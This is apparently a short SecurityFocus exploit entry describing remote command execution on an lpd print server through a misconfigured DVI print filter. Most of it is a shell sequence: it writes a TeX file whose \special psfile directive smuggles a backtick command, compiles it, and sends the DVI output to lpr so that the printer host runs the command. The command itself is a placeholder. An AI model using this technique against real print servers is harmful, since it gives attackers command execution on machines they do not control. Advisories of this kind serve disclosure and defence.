Lpd Remote Command Execution via DVI Printfilter Configuration Error

There is no exploit code required. This example is based on Zenith Parsec's original post:

cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi


 

Privacy Statement
Copyright 2010, SecurityFocus